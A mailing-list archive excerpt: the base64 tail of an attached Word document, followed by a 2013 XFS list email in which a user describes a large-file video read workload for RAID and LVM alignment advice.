AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v8AAAYBAgAAAAAAAAAAAAAAAAAAAAAAAQAA AALVzdWcLhsQk5cIACss+a4wAAAA6AAAAAwAAAABAAAAaAAAAA8AAABwAAAABQAAAHwAAAAGAAAA hAAAABEAAACMAAAAFwAAAJQAAAALAAAAnAAAABAAAACkAAAAEwAAAKwAAAAWAAAAtAAAAA0AAAC8 AAAADAAAAMkAAAACAAAA5AQAAB4AAAAEAAAAAAAAAAMAAAAKAAAAAwAAAAMAAAADAAAA8AUAAAMA AAAAAAwACwAAAAAAAAALAAAAAAAAAAsAAAAAAAAACwAAAAAAAAAeEAAAAQAAAAEAAAAADBAAAAIA AAAeAAAABgAAAFRpdGxlAAMAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACQAA AAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAD+////EgAAABMAAAAUAAAAFQAAABYAAAAXAAAA GAAAABkAAAAaAAAAGwAAABwAAAAdAAAAHgAAAB8AAAAgAAAAIQAAACIAAAAjAAAAJAAAACUAAAAm AAAAJwAAACgAAAApAAAAKgAAACsAAAAsAAAALQAAAC4AAAAvAAAAMAAAADEAAAAyAAAAMwAAADQA AAA1AAAANgAAADcAAAA4AAAAOQAAADoAAAD+////PAAAAD0AAAA+AAAAPwAAAEAAAABBAAAAQgAA AEMAAABEAAAARQAAAEYAAABHAAAASAAAAEkAAABKAAAA/v///0wAAABNAAAATgAAAE8AAABQAAAA UQAAAFIAAAD+////VAAAAFUAAABWAAAAVwAAAFgAAABZAAAAWgAAAP7////9////XQAAAF4AAAD+ /////v///2EAAAD+//////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////////////UgBvAG8AdAAgAEUAbgB0AHIAeQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYABQH//////////wMAAAAGCQIAAAAAAMAAAAAA AABGAAAAAAAAAAAAAAAA8ENYCPi2zgFgAAAAAAMAAAAAAABEAGEAdABhAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgACAf////////////// /wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEAAABkUgAAAAAAADEAVABhAGIA bABlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO AAIAAQAAAP//////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOwAAACse AAAAAAAAVwBvAHIAZABEAG8AYwB1AG0AZQBuAHQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAABoAAgEKAAAABQAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAANCAAAAAAAAAFAFMAdQBtAG0AYQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBu AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAACAf///////////////wAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEsAAAAAEAAAAAAAAAUARABvAGMAdQBtAGUAbgB0AFMAdQBt AG0AYQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAAAAAAAAA4AAIBBAAAAP////////// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUwAAAAAQAAAAAAAATQBzAG8ARABh AHQAYQBTAHQAbwByAGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABoA AQD//////////wcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDQMQj4ts4B4MlQCPi2zgEAAAAAAAAA AAAAAABPANgAVADTAMcAWQDZAMwAUwDUAFMAxgAwANEA0QBLAMUAyQDFAMEARwBRAD0APQAAAAAA AAAAAAAAAAAAAAAAMgABAf//////////CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMNAxCPi2zgHg yVAI+LbOAQAAAAAAAAAAAAAAAEkAdABlAG0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAIB/////wkAAAD/////AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM0AAAAAAAAAUAByAG8AcABlAHIAdABpAGUAcwAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYAAgD///////////////8A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAVQEAAAAAAAABAEMAbwBtAHAA TwBiAGoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAC AQIAAAAGAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAAB5AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAADAAAA/v///wUAAAAGAAAABwAAAAgAAAAJAAAA/v// /wsAAAD+//////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////88YjpTb3VyY2VzIHhtbG5zOmI9Imh0dHA6Ly9zY2hlbWFzLm9wZW54 bWxmb3JtYXRzLm9yZy9vZmZpY2VEb2N1bWVudC8yMDA2L2JpYmxpb2dyYXBoeSIgeG1sbnM9Imh0 dHA6Ly9zY2hlbWFzLm9wZW54bWxmb3JtYXRzLm9yZy9vZmZpY2VEb2N1bWVudC8yMDA2L2JpYmxp b2dyYXBoeSIgU2VsZWN0ZWRTdHlsZT0iXEFQQS5YU0wiIFN0eWxlTmFtZT0iQVBBIi8+AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPD94bWwgdmVyc2lv bj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8ZHM6ZGF0YXN0b3Jl SXRlbSBkczppdGVtSUQ9Ins5REYzODQzQi02QzhFLTQ0NEItQTY2Qi0xQzRBOTY5OTYxMTl9IiB4 bWxuczpkcz0iaHR0cDovL3NjaGVtYXMub3BlbnhtbGZvcm1hdHMub3JnL29mZmljZURvY3VtZW50 LzIwMDYvY3VzdG9tWG1sIj48ZHM6c2NoZW1hUmVmcz48ZHM6c2NoZW1hUmVmIGRzOnVyaT0iaHR0 cDovL3NjaGVtYXMub3BlbnhtbGZvcm1hdHMub3JnL29mZmljZURvY3VtZW50LzIwMDYvYmlibGlv Z3JhcGh5Ii8+PC9kczpzY2hlbWFSZWZzPjwvZHM6ZGF0YXN0b3JlSXRlbT4AAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQD+/wMKAAD/////BgkCAAAAAADAAAAAAAAA RicAAABNaWNyb3NvZnQgT2ZmaWNlIFdvcmQgOTctMjAwMyBEb2N1bWVudAAKAAAATVNXb3JkRG9j ABAAAABXb3JkLkRvY3VtZW50LjgA9DmycQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA ------=_Part_183032_1038372525.1380288420724-- From stew@messeduphare.co.uk Fri Sep 27 08:29:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BB1287F52 for ; Fri, 27 Sep 2013 08:29:14 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 78B03304064 for ; Fri, 27 Sep 2013 06:29:11 -0700 (PDT) X-ASG-Debug-ID: 1380288547-04bdf053875abd40001-NocioJ Received: from mail-we0-f179.google.com (mail-we0-f179.google.com [74.125.82.179]) by cuda.sgi.com with ESMTP id PCxEwglyssep7wQE (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 27 Sep 2013 06:29:08 -0700 (PDT) X-Barracuda-Envelope-From: stew@messeduphare.co.uk X-Barracuda-Apparent-Source-IP: 74.125.82.179 Received: by mail-we0-f179.google.com with SMTP id x55so2612210wes.24 for ; Fri, 27 Sep 2013 06:29:07 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=XLHYhXFh8PXL8A4e2fwquRVmPXiHVD1vjwKaptlEH98=; b=Pxc8M+H26HwuKufUk8jkMvkf3oD7cHYj63XNnEUGQLCf3mhLSD0haJeNLaQbh94TKU EmwjY6A/va1ZNDc1/StFkQg6EXOMT+Pm58EO9rAMAu9h02pciO2/MnNIY5lJHewyAAVB pNJy8iy5XbASlhU3d90C210mVsh+56kR3JDxeadl6TtYhBPUMBxMPDKOeJQ2eUZDhzJS rxY3EQi32WYYP1BF5DRNTb8A1QDOO71HRGOaNKRSvq1zy7feffbUizV0vXGmtz60KU+j wlN+yFE6JW0DLlr1yM4zMHAnccrP9me68QyeDwSi+FSSyXwcrhnx5vRAkTSnoKQBE8lc n2sQ== X-Gm-Message-State: ALoCoQlHwr3XKEhVj9dLxIoW/NiOtPC52ZesZrgEGkXLyiMlrT8vUoEL7crgF22he/fCvObWQZB1 MIME-Version: 1.0 X-Received: by 10.180.89.206 with SMTP id bq14mr2667857wib.56.1380288547146; Fri, 27 Sep 2013 06:29:07 -0700 (PDT) Received: by 10.194.136.75 with HTTP; Fri, 27 Sep 2013 06:29:07 -0700 (PDT) In-Reply-To: <524583A4.9050207@hardwarefreak.com> References: <52435327.9080607@hardwarefreak.com> <2F959FD9-EF28-4495-9D0B-59B93D89C820@colorremedies.com> <20130925215713.GH26872@dastard> <5243FCD6.4000701@hardwarefreak.com> <20130926215806.GQ26872@dastard> <5244DB1B.7000908@hardwarefreak.com> <524583A4.9050207@hardwarefreak.com> Date: Fri, 27 Sep 2013 14:29:07 +0100 Message-ID: Subject: Re: xfs hardware RAID alignment over linear lvm From: Stewart Webb X-ASG-Orig-Subj: Re: xfs hardware RAID alignment over linear lvm To: stan@hardwarefreak.com Cc: Dave Chinner , Chris Murphy , "xfs@oss.sgi.com" Content-Type: multipart/alternative; boundary=e89a8f3b9da98a614304e75d7861 X-Barracuda-Connect: mail-we0-f179.google.com[74.125.82.179] X-Barracuda-Start-Time: 1380288548 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140975 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 HTML_MESSAGE BODY: HTML included in message --e89a8f3b9da98a614304e75d7861 Content-Type: text/plain; charset=ISO-8859-1 Hi Stan, Apologies for not directly answering - I was aiming at filling gaps in my knowledge that I could not find in the xfs.org wiki. My workload for the storage is mainly reads of single large files (ranging for 20GB to 100GB each) These reads are mainly linear (video playback, although not always as the end user may be jumping to different points in the video) There are concurrent reads required, estimated at 2 to 8, any more would be a bonus. The challenge of this would be that the reads need to be "real-time" operations as they are interacted with by a person, and each read operation would have to consistently have a low latency and obtain speeds of over 50Mb/s Disk write speeds are not *as* important for me - as they these files are copied to location before they are required (in this case using rsync or scp) and these operations do not require as much "real-time" interaction. On 27 September 2013 14:09, Stan Hoeppner wrote: > On 9/27/2013 7:23 AM, Stewart Webb wrote: > >> Right, and it does so not only to improve write performance, but to > >> also maximise sequential read performance of the data that is > >> written, especially when multiple files are being read 